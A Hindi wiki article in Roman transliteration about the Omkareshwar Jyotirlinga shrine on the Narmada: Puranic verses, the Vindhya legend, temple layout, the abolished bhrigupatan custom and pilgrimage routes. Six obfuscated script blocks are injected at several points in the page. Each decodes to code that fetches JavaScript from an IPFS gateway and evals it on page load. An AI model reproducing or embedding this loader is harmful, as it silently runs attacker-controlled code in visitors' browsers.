ओंकारेश्वर

भारत डिस्कवरी प्रस्तुति
Revision as of 12:05, 27 April 2018 by व्यवस्थापन (talk | contribs) (Text replacement - "उन्ही " to "उन्हीं ")
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigation Jump to search
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

thumb|250px|oankarashvar jyotirliang
Omkareshwar Jyotirlinga
oankareshvar jyotirliang ke sath hi amaleshvar jyetirliang bhi hai. in donoan shivaliangoan ki ganana ek hi jyotirliang mean ki gee hai. oankareshvar sthan bhi malava kshetr mean hi p data hai. skand puran ke reva khand mean shri oankareshvar ki mahima ka bakhan kiya gaya hai-

devasthanasaman hyetath matprasadadh bhavishyati.
annadanan tap: pooja tatha pranavisarjanamh.
ye kurvanti narasteshaan shivalokanivasanamh..[1]

arthath ‘oankareshvar tirth alaukik hai. bhagavan shankar ki kripa se yah devasthan ke saman hi haian. jo manushy is tirth mean pahuanchakar annadan, tap, pooja adi karata hai athava apana pranotsarg yani mrityu ko prapt hota hai, use bhagavan shiv ke lok mean sthan prapt hota hai.’

amaranaan shataishachaiv sanvito hamareshvar:.
tathaiv rrishisanghaishach ten punyatamo mahanh..[2]

arthath ‘mahan punyashali amareshvar (oankareshvar) tirth hamesha saik doan devataoan tatha rrishi-maharshi ka atyant pavitr tirth hai.’

mandhata parvat

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

narmada nadi ke do dharaoan ke bantane se ek tapoo ka nirman ho gaya hai, ise shivapuri bhi kaha jata hai. narmada ki vibhakt dhara dakshin ki or jati hai. dakshin ki or bahane vali dhara hi pradhan mani jati hai, jise nav (nauka) ke dvara par kiya jata hai. narmada ke is kinare par pakke ghatoan ka nirman karaya gaya hai. isi mandhata namak parvat par bhagavan oankareshvar-mahadev virajaman haian. itihas prasiddh bhagavan ke mahanh bhakt ambarish aur muchukund ke pita sooryavanshi raja mandhata ne is sthan par kathor tapasya karake bhagavan shankar ko prasann kiya tha. ve ek mahanh tapasvi aur vishal mahayajnoan ke kartta the. us mahanh purush mandhata ke nam par hi is parvat ka nam mandhata parvat ho gaya. yahaan ke zyadatar mandiroan ka nirman peshava rajaoan dvara hi karaya gaya tha. aisa bataya jata hai ki bhagavan oankareshvar ka mandir bhi unhian peshavaoan dvara hi banavaya gaya hai. is mandir mean do kamaroan (kakshoan) ke bich se hokar jana padata hai. chooanki bhitar andhera rahata hai, isalie vahaan hamesha dipak jalaya jata hai.

shiv puran ki katha

is oankaratirth ke jyotirliang ko shiv mahapuran mean ‘parameshvar liang’ kaha gaya hai. yah parameshvar liang is tirth mean kaise prakat hua athava isaki sthapana kaise huee, is sambandh mean shiv puran ki katha is prakar hai- bhagavan shiv ke anek nam haian. ek bar narad rrishi param shraddha aur b di lagan ke sath unaki seva karane lage. kuchh samay seva mean bitane ke bad munishreshth vahaan se giriraj vindhy par pahuanch gaye. vindhy ne b de adar-samman ke sath unaki vidhivat pooja ki. 'maian sarvagun sampann hooan, mere pas har prakar ki sampada hai, kisi vastu ki kami nahian hai'- is prakar ke bhav ko man mean liye vindhyachal narad ji ke samaksh kh da ho gaya. ahankaranashak shri narad ji vindhyachal ki abhiman se bhari batean sunakar lambi saans khianchate hue chupachap kh de rahe. usake bad vindhyaparvat ne poochha- 'apako mere pas kaun-si kami dikhaee di? apane kis kami ko dekhakar lambi saans khianchi?’

narad ji ne vindhyachal ko bataya ki tumhare pas sab kuchh hai, kintu meroo parvat tumase bahut ooancha hai. us parvat ke shikharoan ka vibhag[3]devataoan ke lokoan tak pahuancha hua hai. mujhe lagata hai ki tumhare shikhar[4] ke bhag vahaan tak kabhi nahian pahuanch paeange. is prakar kahakar rrishi narad ji ke chale jane par vindhyachal ko bahut pachhatava hua. vah du:khi hokar man hi man shok karane laga. usane nishchay kiya ki ab vah vishvanath bhagavan sadashiv ki aradhana aur tapasya karega. is prakar vichar karane ke bad vah bhagavan shankar ji ki seva mean chala gaya. jahaan par sakshat oankar vidyaman haian. us sthan par pahuanchakar usane prasannata aur premapoorvak shiv ki parthiv moorti (mitti ki shivaliang) banaee aur chh: mahine tak lagatar usake poojan mean tanmay raha.

vah shambhoo ki aradhana-pooja ke bad nirantar unake dhyan mean tallin ho gaya aur apane sthan se idhar-udhar nahian hua. usaki kathor tapasya ko dekhakar parvatipati bhagavan shiv us par prasann ho gaye. unhoanne vindhyachal ko apana divy svaroop prakat kar dikhaya, jisaka darshan b de - b de yogiyoan ke lie bhi atyant durlabh hota hai. sadashiv bhagavan prasannatapoorvak vindhyachal se bole- ‘vindhy! maian tum par bahut prasann hooan. maian apane bhaktoan ko unaka abhisht[5] var pradan karata hooan. isalie tum var maango.’ vindhy ne kaha- ‘deveshvar mahesh! yadi ap mujh par prasann haian, to bhaktavatsal! hamare kary ki siddhi karane vali vah abhisht buddhi hamean pradan karean!’ vindhyaparvat ki yachana ko poora karate hue bhagavan shiv ne usase kaha ki- ‘parvataraj! maian tumhean vah uttam var (buddhi) pradan karata hooan. tum jis prakar ka kam karana chaho, vaisa kar sakate ho. mera ashirvad tumhare sath hai.’

bhagavan shiv ne jab vindhy ko uttam var de diya, usi samay devagan tatha shuddh buddhi aur nirmal chitt vale kuchh rrishigan bhi vahaan a gaye. unhoanne bhi bhagavan shankar ji ki vidhivat pooja ki aur unaki stuti karane ke bad unase kaha- ‘prabho! ap hamesha ke lie yahaan sthir hokar nivas karean.’ devataoan ki bat se maheshvar bhagavan shiv ko b di prasannata huee. lokoan ko sukh pahuanchane vale parameshavar shiv ne un rrishiyoan tatha devataoan ki bat ko prasannatapoorvak svikar kar liya.

vahaan sthit ek hi oankaraliang do svaroopoan mean vibhakt ho gaya. pranav ke antargat jo sadashiv vidyaman hue, unhean ‘oankar’ nam se jana jata hai. isi prakar parthiv moorti mean jo jyoti pratishthit huee thi, vah ‘parameshvar liang’ ke nam se vikhyat huee. parameshvar liang ko hi ‘amaleshvar’ bhi kaha jata hai. is prakar bhaktajanoan ko abhisht phal pradan karane vale ‘oankareshvar’ aur ‘parameshvar’ nam se shiv ke ye jyotirliang jagath mean prasiddh hue. us samay devataoan aur rrishiyoan ne milakar un jyotirliangoan ka poojan kiya tatha bhagavan vrishabhadhvaj ne shiv ko prasann kar anek var prapt kiye-

Omkaran chaivan yalliangamekan tachch dvidha gatamh.
pranave chaiv Omkaranamasits sadashiv:..
parthive chaiv yajjatan tadasitparameshvar:.
bhaktibhashtapradau chobhau bhuktimuktiprau dvij:.
tatpoojaan ch tada chakrurdevashach rrishayastatha.
prapurvarananekaanshach santoshy vrishabhadhvajamh..[6]

is prakar bhagavan shiv ke pradurbhav aur nirantar nivas se vindhyachal parvat ko ativ prasannata huee. abhisht var ki prapti se usane apane kary ki siddhi ki aur apane manasik paritap ka parityag kar diya. shiv puran ka aisa udghosh hai ki jo manushy bhagavan shankar ka poojan kar nirantar dhyan karata hai, use dobara mata ke garbh mean nahian ana p data hai arthath usaki mukti ho jati hai. is oankar mean parameshvar jyotirliang ka poojan sabhi prakar ka manovaanchhit phal dene vala hai.

oankareshvar ka vastushilp

thumb|250px|left|oankarashvar jyotirliang
Omkareshwar Jyotirlinga
oankareshvar liang kisi manushy ke dvara gadha, tarasha ya banaya hua nahian hai, balki yah prakritik shivaliang hai. isake charoan or hamesha jal bhara rahata hai. pray: kisi mandir mean liang ki sthapana garbh grih ke madhy mean ki jati hai aur usake thik oopar shikhar hota hai, kintu yah oankareshvar liang mandir ke gumbad ke niche nahian hai. isaki ek visheshata yah bhi hai ki mandir ke oopari shikhar par bhagavan mahakaleshvar ki moorti lagi hai. kuchh logoan ki manyata hai ki yah parvat hi oankararoop hai. ve log is parvat ki parikrima bhi karate haian.

prachin siddheshvar mahadev

yahaan par sthit prachin siddheshvar mahadev ka mandir bhi darshaniy hai. parikrama ke antargat bahut se mandiroan ke vidyaman hone ke karan bhi yah parvat oankar ke svaroop mean dikhaee p data hai. oankareshvar ke mandir Omkar mean bane chandr ka sthaniy Om isamean bane hue chandrabindu ka jo sthan hai, vahi sthan oankaraparvat par bane oankareshvar mandir ka hai. maloom p data hai is mandir mean shiv ji ke pas hi maan parvati ki bhi moorti sthapit hai. yahaan par bhagavan parameshvar mahadev ko chane ki dal chadhane ki parampara hai.

dharm ke sath kupratha bhi

is oankareshvar mandir mean kabhi ek bhishan parampara bhi prachalit thi, jo ab samapt kar di gee hai. is mandhata parvat par ek kh di chadhaee vali paha di hai. isake sambandh mean ek prachalan tha ki jo koee manushy is paha di se koodakar apana pran narmada mean visarjit kar deta hai, usaki tatkal mukti ho jati hai. is kupratha ke chalate bahut sare log sadyomukti (tatkal moksh) ki kamana se us paha di par se nadi mean koodakar apani jan de dete the. is pratha ko ‘bhrigupatan’ nam se jana jata tha. sati pratha ki tarah is prachalan ko bhi aangreji sarakar ne pratibandhit kar diya. yah prananashak anushthan sanh 1824 ee. mean hi band kara diya. tha. is oankareshvar-tirth mean kartik mas (navambar) ki poornima tithi ko bhari mela lagata hai. narmada mean snanakar bhagavan amaleshvar ke darshan ka bahut mahattv puranoan mean darshaya gaya hai. narmada nadi ke snan to kya, usake darshan matr se bhi manushy mean pavitrata ati hai.

mandir aur narmada

thumb|250px|oankarashvar jyotirliang
Omkareshwar Jyotirlinga
moratakka se oankareshvar jate samay narmada ke kinare agal-bagal mean do chhoti-chhoti paha diyaan haian, jinako ‘vishnupuri’ aur ‘brahmapuri’ kaha jata hai. inake bich se hi kapil dhara namak nadi bahati hai, jo age chalakar narmada nadi mean hi mil jati hai. yahaan par pakke ghat aur anek mandir virajaman haian. aisa pratit hota hai ki liang ki jalahari ka sambandh niche narmada ke kisi chhidr (bil) se hai. isalie oankar liang par chadhayi gayi bheant-pooja ko pujari log b di savadhani se shighr hi utha lete haian. ve apane hath ko jalahari ke age lagaye rahate haian, jisase ki chadhava pani mean bahakar nadi mean n chala jay.

pratima ka naukavihar

pratyek somavar ko bhagavan oankareshvar ki paanch mukhoan vali sone ki pratima ko nav mean baithakar narmada nadi mean jalavihar ya naukavihar karaya jata hai. vartaman mean oankareshvar-mandir ka jirnoddhar kiya gaya hai. yahaan se sarakar dvara ek nahar nikali gayi hai, jo krishi-kary arthath sianchaee ke lie hai.

oankareshvar kaise pahuanchean

is nahar ka nirman karane vali ek praivet kampani ne hi oankareshvar-mandir ka jirnoddhar karaya hai. usane nadi par pakka ghat tatha oopar mandir jane ke lie sidhiyaan bhi banavayi haian. do taraph se nadi se ghiri yah paha di is samay lagabhag dedh kilomitar lambi aur ek kilomitar chaudi hai. moratakka relave steshan se bas, taimpoan, taanga adi ke dvara oankareshvar pahuancha jata hai. is tapoo (mandhata) ke donoan or bahane vali nadi yadyapi narmada hi hai, kintu isaki doosari jaladhara ko vahaan kaveri kahate haian.

mandiroan ke darshan

mandhata dvip ke ant mean vahi kaveri-dhara pun: narmada mean hi mil jati hai. is dvip ka akar-prakar[7] pranav [8]se milata-julata hai. oankareshvar-mandir ke parisar mean hi paanch mukh vale ganesh ji ki moorti hai. oankareshvar-mandir ki sidhiyaan chadhakar doosari manzil mean mahakaleshvar liang moorti ka darshan prapt hota hai. usaki tisari manzil par bhagavan vaidyanatheshvar ki liang moorti vidyaman hai. is mandir ki parikrama mean shri rameshvar mandir tatha gauri-somanath ke bhi darshan prapt hote haian. mandir ke samip avimukteshvar mahadev, jvaleshvar, kedareshvar mahadev, adi ke prachin mandir bhi avasthit hai.

dharmik drishti se parikrama

dharmik drishti se mandhata tapoo mean oankareshvar ki ek chhoti aur ek b di do parikramaean ki jati haian. oankareshvar kshetr ki sampoorn tirthayatra tin dinoan mean poori ki ja sakati hai. mandhata dvip mean koti tirth par snan karane ke bad koteshvar mahadev, hatakeshvar, tryanbakeshvar, gayatrishvar, govindeshvar, tatha savitrishvar adi devoan ke darshan kiye jate haian. tadanantar bhoorishvar, shrikalika mata aur paanch mukh vale ganapati sahit nandi ka darshan karane ke bad oankareshvar-mandir mahadev ka darshan prapt hota hai. oankareshvar-mandir mean shukadev ji, mandhateshvar, managaneshvar, shri dvarikadhish, narmadeshvar bhagavan, narmada devi, mahakaleshvar, bhagavan vaidyanatheshvar, siddheshvar, rameshvar, jaleshvar adi ka darshan karane ke bad vishalya-sangam tirth par vishalyeshvar ka darshan kiya jata hai.

any mandiroan ke darshan

inake atirikt andhakeshvar, jhumeshvar, navagraheshvar nam se bhi bahut se shivaliangoan ke darshanoan ka avasar milata hai. marooti, sakshi ganesh, shri annapoorna mata tatha tulasi ji ka bhi darshan milata hai. inake atirikt bhi bahut se dev haian, jinaka darshan paidal chalakar hi prapt hota hai, unamean avimukteshvar, mahatma dariyaeenath ki gaddi, shri batukabhairav, mangaleshvar, nagachandreshvar, dattatrey tatha kale-gore bhairav ka darshan pramukh hai. vahaan shriramamandir aur gupha ke bhitar dhrishneshvar ka bhi darshan prapt hota hai. itane devataoan ke darshan mean poora din lag jata hai.

doosare din ke darshan

doosare din oankareshvar arthath mandhata parvat ki panchakosi parikrama karane ka vidhan hai. yahaan devasthanoan ki sankhya bahut hai. shri chakreshvar, godanteshvar aur khe dapati hanuman ka darshan karane ke bad mallikarjun, chandreshvar, trilochaneshvar, gopeshvar ka darshan karate haian. usake bad shmashan bhoomi mean pahuanchakar pishachamukteshvar tatha kedareshvar ka darshan kar savitrikund aur yamalarjuneshvar ke darshan ke bad kaveri ke sangam par pitaroan ke lie tarpan karane ki pratha hai. vahaan par shri ranachho d ji aur rrinamukteshvar ka poojan kiya jata hai. raja muchukund ke qile se age hidimba sangamatirth milata hai. vahaan jate samay raste mean gauri-somanath ki vishal liangamoorti ka darshan milata hai, jinhean ‘mama-bhaanja’ kaha jata hai. yah tin manzil ka bhavy mandir hai, jisaki pratyek manzil mean shivaliang sthapit hai. yahaan par shri nandi, shri ganesh tatha shri hanuman ji ki pratimaean bhi vidyaman haian. is mandir se jab age badhate haian, to annapoorna, ashtabhuja, mahishasuramardini, sita-rasoee tatha shri anandabhairav ke darshan hote haian.

muchukund qile ke bahar arjun aur bhim ki moortiyaan lagi haian. usase niche ane par virakhala par bhimashankar ka darshan tatha kuchh aur niche utarane par shri kalabhairav ke darshan hote haian. kaveri sangam par joone kotitirth tatha sooryakund avasthit hai. kaveri ke us par chaubis avatar, pashupatinath, gayashila, erandi sangamatirth, patrishvar tatha gadadhar bhagavan ke mandir haian. yahaan par pindadan tatha pitaroan ka shraddh kiya jata hai. rajamahal mean shriram ka darshan kar, usake bad oankareshvar ka darshan karane se parikrama poori ho jati hai.

vishnupuri aur brahmapuri

mandhata dvip se age narmada ko par karake 'vishnupuri' aur 'brahmapuri' sthit hai. vishnupuri ke pas gomukh hai, jahaan se sarvada jal girata rahata hai. ise 'kapila-sangam tirth' kaha jata hai. gomukh se nikalane vali jaladhara gokarn aur mahabaleshvar ke liangoan par girati rahati hai. ise 'kapiladhara' kaha jata hai, jisaka jal trishoolabhed kund se ata hai. us sthan se indreshvar aur vyaseshvar ke darshan hetu jaya jata hai, usake bad amaleshvar ke darshan ki parampara hai. amaleshvar-mandir ka nirman ahalyabaee ne karavaya tha. ise bhi jyotirliang hi kahate haian. yahaan par poorv gayakava d rajy ki or se bahut se brahman niyukt the, jo parthiv liang ki pooja karate rahate haian. parthiv-poojan ki prakiya aj bhi chal rahi hai. amaleshvar-mandir ki pradakshina mean vriddhakaleshvar, baneshvar, mukteshvar, kardameshvar tatha tilabhandeshvar mahadev ke mandir virajaman haian. amaleshvar ke atirikt bahut se ashram aur akha doan mean anek devi-devataoan ke mandir sthapit haian. unamean niranjani akha de mean svami kartik ka mandir, aghori nale par aghoreshvar ganapati bhagavan ka mandir, vishnupuri mean vishnu ke atirikt kapil ji, varun, varuneshvar, nilakantheshvar, kardameshvar adi ke darshan prapt hote haian. markandey ashram mean markandeyashila tatha markandeshvar ka darshan kiya jata hai.

chaubis avatar aur pashupatinath

oankareshvar se lagabhag dedh kilomitar door jahaan se narmada ki ek dhara kaveri ke roop mean vibhakt hoti hai, vahaan par chaubis avatar aur pashupatinath ka mandir hai. yahaan par dharati par leti huee ek ravan ki moorti hai. is mandir se dedh kilomitar age chalakar kuber ji ka sthan hai, jahaan kaveri pun: narmada mean mil jati hai, vahian sangam tat par bhagavan shiv ka prachin mandir haih. aisi lok manyata hai ki yahaan par kuber ne kathor tapasya ki thi. unaki tapasya ke karan hi is mandir ko kubereshvar-mandir kaha jata hai.

sita vatika

vahaan se age chyavan muni ka ashram hai aur age saptamatrikaoan ke mandir haian, jinhean satamatri kaha jata hai. satamatri mean varahi, chamunda, brahmani, vaishnavi, indrani, kaumari tatha maheshvari in saptamatrikaoan ke mandir bane hue haian. aisi janashruti hai ki narmada ke uttar tat se lagabhag paanch kilomitar ki doori par maharshi valmiki ka ashram tha. janakanandini janaki isi ashram mean nivas karati thian. vartaman mean is sthan ko sita vatika kaha jata hai, jo satamatri se sat mil door hai. sita vatika namak sthan mean sitakund, ramakund tatha lakshman kund haian. yahaan chausath yoginiyoan aur bavan bhairavoan ki vishal moortiyaan sthapit haian. is kshetr ke asapas bhi anek dharmik sthal haian.

y evan poojayechchhambhuan matrigarbhan vasenn hi.
yadabhishtan phalan tachy prapnuyannatr sanshay:..

‘is prakar jo oankareshvar shiv ki pooja karata hai, use sampoorn abhisht mil jata hai aur use pun: mata ke garbh mean ana nahian p data hai.’

kaise pahuanche

oankareshvar-tirth narmada nadi ke kinare vidyaman hai. ujjain se khandava jane vale relamarg par ‘moratakka’ namak relave steshan hai, jahaan se lagabhag barah kilomitar ki doori par ‘oankareshvar-tirth’ hai.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. skand puran, reva khand-adhyay-22
  2. skand puran, reva khand-adhyay- 28
  3. parvat ki chotiyaan
  4. choti
  5. unake dvara ichchha kiya gaya
  6. shiv mahapuran koti rudr sanhita, adhyay 18/22-24
  7. banavat
  8. Om

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


suvyavasthit lekh|link=bharatakosh:suvyavasthit lekh

varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah